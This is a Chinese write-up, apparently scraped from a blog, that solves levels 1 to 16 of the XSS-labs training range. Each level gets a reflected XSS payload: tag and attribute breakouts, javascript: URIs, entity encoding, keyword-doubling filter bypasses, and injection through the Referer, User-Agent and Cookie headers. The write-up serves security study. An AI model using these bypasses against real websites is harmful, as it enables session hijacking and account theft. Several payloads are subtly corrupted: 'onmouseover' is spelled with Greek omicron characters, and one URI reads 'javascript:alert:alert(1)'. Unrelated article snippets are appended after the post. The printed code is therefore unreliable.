本文主要对XSS-labs靶场进行介绍,给出了我一步步怎么发现漏洞的过程。

目录

第一关

第二关

第三关

第四关

第五关

第六关

第七关

第八关

第九关

第十关

第十一关

第十二关

第十三关

第十四关

第十五关

第十六关


第一关

没啥好说的,直接干

<script>alert(1)</script>

第二关

随便输一下,没反应,ctrl+u看源码

发现在value里,闭合:

"><script>alert(1)</script>

第三关

随便输一下,然后看源代码:

发现把<>和"给编码了,那就不用尖括号用onmouseover,注意闭合:

' οnmοuseοver='alert(1)

第四关

对于这种编码的,我们可以输入一个万能匹配:<script " 'Oonn>,看看它过滤了啥

发现<>干掉了,还是用onmouseover

" οnmοuseοver="alert(1)

第五关

还是<script " 'Oonn>先试

发现大写干掉了,并且字符 o 和 r 后面会加上 _

除了script和onmouseover,还可以用 <a href="javascript:alert:alert(1)">click</a>

"><a href="javascript:alert:alert(1)">click</a>

第六关

<script " 'Oonn>先试

还是一样,r 和 o加了_,但没过滤大写

"><scRipt>alert(1)</scRipt>

第七关

<script " 'Oonn>先试

发现,script和on直接干掉了,还过滤了大写

但是我们可以写两个on

" oonnmouseover="alert(1)

第八关

此题有一个友情链接,但我们还是<script " 'Oonn>先试

我们看哪个呢?这个友情链接自带href了,我们可以直接注入它然后点击来过关。

写 javascript:alert(1)

还是不行。这里还有一个新思路,对字符进行实体编码

转换网址:HTML字符实体转换,网页字符实体编码

实体编码HTML也能认,规则是 &#x + 16进制数 + ;

如 r 是 &#x72;

javasc&#x72;ipt:alert(1)

第九关

<script " 'Oonn>先试

直接不给机会,说不合法

这题有点刁钻,源码是说输入必须要有 'http://' 才行

javasc&#x72;ipt:alert('http://')

第十关

<script " 'Oonn>先试

好像都没啥用,但是有三个hidden标签

我们都一一赋值看看

发现 t_sort 是突破点

给 t_sort 赋值: <script " 'Oonn>

发现<>干掉了,那就 onmouseover

发现可以,那我们只要把hidden标签去掉就行

t_sort=" type="" οnmοuseοver="alert(1)

第十一关

发现和第十关一样,先试试突破点在哪:t_link=1&t_history=1&t_sort=1&t_ref=1

发现还在 t_sort,试试<script " 'Oonn>

发现 <>和双引号过滤了,这个思路断了,换一下。

发现一开始 t-ref 有一个value,referer是标识从哪里访问来的

要看refer,我们就要抓包然后加一个Referer字段试试:

发现已经有了

在Request包内添加 Referer: " type="" οnmοuseοver="alert(1)

第十二关

上一题是加Referer字段,那么这一题会不会同类型呢,看看源代码

果然,这次我们修改User-Agent字段:

成功!

在Request包内修改 User-Agent: " type="" οnmοuseοver="alert(1) 

第十三关

此关同理,先查看源代码:

发现是要修改Cookie字段:

成功!

 在Request包内修改 Cookie: user=" type="" οnmοuseοver="alert(1) 

第十四关

十四关是通过源代码中的一个网址来上传带有XSS的exif图片来做

但这个网址挂了,这里就不演示了

图片的XSS这里可以改:

第十五关

十五关乍一看好像没啥,看看源码,有一个ng-include

这是用来嵌入别的网页的。我们来试试level1.php

发现第一关能用,第一关的get请求是name,输入<script " 'Oonn>看看屏蔽了什么。

尖括号和双引号都html转义了,那就用onmouse来做

可以写一个img标签插入到网页中:

鼠标放上去就成功过了。

src='level1.php?name=<img src=1 οnmοuseοver=alert(1)>'

第十六关

十六关发现给了一个test,改一改试试:

on还能用,并且发现在center标签内,那就还是上题的思路,做一个img放进去

发现空格被转义了。空格转义在HTML中可以用换行来表示,换行的URL编码为%0a

鼠标放上去即可成功。

keyword=<img%0Asrc=1%0Aοnmοuseοver=alert(1)>


最后四关都是跟flash有关,但flash已经挂了,这里就不演示了。

感谢你能看到这里o(* ̄▽ ̄*)ブ

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/911687.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/911687.shtml
英文地址,请注明出处:http://en.pswp.cn/news/911687.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

day46-硬件学习之 小练习及中断

一、蜂鸣器学习 代码实现&#xff1a; 二、BSP工程管理 利用BSP工程管理&#xff0c;使文档显示不杂乱&#xff1b; 将这些文件分为4类&#xff0c;并保存到4个不同的文件夹里。 首先在新的工程文件夹里创建一个之后我们编写的类似led驱动&#xff0c;clk驱动等等外设驱动程序都…

ArkUI-X通过Stage模型开发Android端应用指南(二)

StageApplication初始化支持以下三种方式 1. 通过继承StageApplication的方式进行初始化 import ohos.stage.ability.adapter.StageApplication;public class HiStageApplication extends StageApplication {Overridepublic void onCreate() {super.onCreate();} }2. 继承And…

主从复制的优势是什么?如好搭建一个主从复制呢?

引言&#xff1a; 最近因为时间缘故&#xff0c;学校&#xff0c;比赛&#xff0c;面试很久没有更新了&#xff0c;现在开始将会持续更新&#xff01;&#xff01;&#xff01;欧克。我们往下看&#xff1a; 概述&#xff1a; 主从复制是指将主数据库的DDL和DML操作通过二进制…

Linux Shell脚本中basename和dirname的详细用法教程

在Linux Shell脚本中&#xff0c;basename和 dirname是两个非常实用的命令&#xff0c;常用于处理文件路径和名称。本文将详细介绍这两个命令的用法&#xff0c;并提供丰富的示例代码&#xff0c;以帮助您更好地理解和应用它们。 一、basename命令 1.1 基本用法 basename命令…

3D世界里的“盗梦空间”!在方块里再造一个世界?高级特效get✅

有没有想过&#xff0c;游戏里的镜子、传送门、或者屏幕上播放的实时3D动画是怎么实现的&#xff1f; 答案就是一项黑科技——渲染目标&#xff08;Render Targets&#xff09;。它允许我们不直接渲染到屏幕&#xff0c;而是“偷偷地”渲染到一张幕后的贴图上&#xff0c;然后…

浅析一种基于深度学习算法的维吾尔文OCR技术的实现原理及其应用场景

维吾尔文OCR技术是一种基于人工智能和深度学习技术的维吾尔文光学字符识别工具&#xff0c;能够快速、准确地将印刷体或手写体维吾尔文转换为可编辑、可搜索的数字化文本。该技术适用于政府、教育、出版、金融等多个行业&#xff0c;助力维吾尔文信息的高效处理与智能化管理。 …

如何使用MQTTX软件来进行MQTT协议的测试

下载MQTTX软件 下载地址及说明文档开始使用 - MQTTX 文档,比较详细 为什么使用MQTTX 何时要使用MQTTX软件呢&#xff1f;用来检测物联网模块上云的数据就很方便&#xff0c;当然云上如果有日志系统的话也是可以用的。 物联网模块&#xff0c;以利尔达模块为例 NT26-KCN系列…

ELK 和 OpenShift 中的 EFK

ELK 和 OpenShift 中的 EFK 确实是同类日志解决方案的不同实现&#xff0c;核心功能相似但组件略有差异。以下是详细对比和解释&#xff1a; 1. ELK vs EFK&#xff1a;核心区别 组件ELK 栈EFK 栈&#xff08;OpenShift 默认&#xff09;日志收集Logstash&#xff08;Java 实现…

Python UDP Socket 实时在线刷卡扫码POS消费机门禁控制服务端示例源码

本示例使用的设备&#xff1a;https://item.taobao.com/item.htm?spma21dvs.23580594.0.0.1d292c1bk8Qc9r&ftt&id17021194999 一、服务端绑定IP开启UDP端口接收消费机提交的请求 import sys import os import socket import time import datetimeIpList[] if sys.pl…

对于高考边界的理解以及未来就业层级的学习与思考

目录 一、2024年高考全国多少考生&#xff0c;文化课&#xff0c;文科理科&#xff0c;分别总分多少分&#xff1f;清北得多少分能上&#xff1f;二、1342万人里面&#xff0c;有多少人能上清北&#xff0c;多少能上985&#xff0c;多少能上211&#xff0c;多少能上二本&#x…

JVM调优实战 Day 4:JVM类加载机制

【JVM调优实战 Day 4】JVM类加载机制 文章内容 在Java虚拟机&#xff08;JVM&#xff09;的运行过程中&#xff0c;类加载机制是整个程序启动和运行的基础。它决定了Java类是如何被动态加载到JVM中&#xff0c;并为后续的字节码执行做好准备。理解JVM类加载机制不仅有助于我们…

R 语言中的判断语句

R 语言中的判断语句 在R语言编程中&#xff0c;判断语句是执行条件逻辑的基础。它们允许程序根据特定的条件执行不同的代码块。本文将深入探讨R语言中的几种常见判断语句&#xff0c;包括if语句、if-else语句和switch语句&#xff0c;并探讨它们的用法和场景。 1. if语句 if…

从设备自动化到智能管控:MES如何赋能牛奶饮料行业高效生产?

万界星空科技全新推出的&#xff1a;新一代智能化MES系统&#xff0c;深度融合AI大数据技术&#xff0c;实现生产全流程可视化、智能排产、实时质量追溯与设备互联&#xff0c;助力企业降本增效30%。 现开放免费试用名额&#xff0c;体验智能化生产管理的高效与便捷&#xff01…

TDengine 技术参数配置大全

1. 背景 TDengine 的 taos.cfg 中配置项及使用 SQL 命令 alter 修改的系统变量之间的关系如何&#xff0c;哪些是持久存储项&#xff0c;哪些设置是临时项&#xff0c;这章将详细说明。 本文是技术参考资料&#xff0c;请收藏。 2.定义 1. 全局配置参数 全局配置参数&#…

无人机神经网络模块运行与技术难点

一、神经网络模块的运行方式 1. 分层处理架构 感知层 多模态数据融合&#xff1a;通过八元数卷积网络&#xff08;OCNN&#xff09;统一处理LiDAR、摄像头、IMU等异构传感器数据&#xff0c;将点云坐标&#xff08;x/y/z&#xff09;、图像RGB与光流信息编码至8维虚部&#…

前端react框架实现打包时间动态加入配置展示在指定页面

注意&#xff1a; 当前方法特定为 create-react-app 构建框架&#xff0c;其他的构建流程不同&#xff0c;不能直接照搬 react-scripts 的方式。 ✅ 目标&#xff1a; 在 React 打包&#xff08;build&#xff09;时&#xff0c;自动将当前时间写入代码中某个变量或 console…

原子操作(CAS)

原子操作 原子操作原理什么是原子操作&#xff1f;原子性原子变量相关接口内存序 shared_ptr的实现 原子操作原理 什么是原子操作&#xff1f; 原子操作其实就是指在多线程的环境下&#xff0c;确保对共享变量的操作不会被干扰&#xff0c;从而避免了竞态条件。 我们都知道&…

马克思主义基本原理期末复习下

二十、资本的原始积累 所谓资本原始积累&#xff0c;就是以暴力手段使生产者与生产资料分离资本快速集中于少数人手中&#xff0c;资本主义得以快速发展的历史过程。具体过程其一&#xff0c;用暴力手段夺取农民的土地&#xff0c;如英国圈地运动在国外建立殖民地&#xff0c;…

体育数据api接口,足球api篮球api电竞api,比赛赛事数据api

在体育行业&#xff0c;数据驱动一切&#xff0c;从内容分发到竞猜预测&#xff0c;从用户互动到商业变现&#xff0c;背后少不了一个关键词&#xff1a;数据接口&#xff08;API&#xff09;。无论是实时比分、比赛事件、历史统计&#xff0c;还是球员详情、战绩排名&#xff…

Harmony 状态监听 @Monitor和@Computed

Monitor与Computed装饰器在ArkUI状态管理中的协同应用 一、装饰器概述 1. Monitor装饰器 Monitor是ArkUI状态管理V2中的核心装饰器&#xff0c;用于深度监听状态变量的修改&#xff1a; 支持监听嵌套类属性、多维数组项和对象数组中的指定项变化能够获取变化前后的值进行比…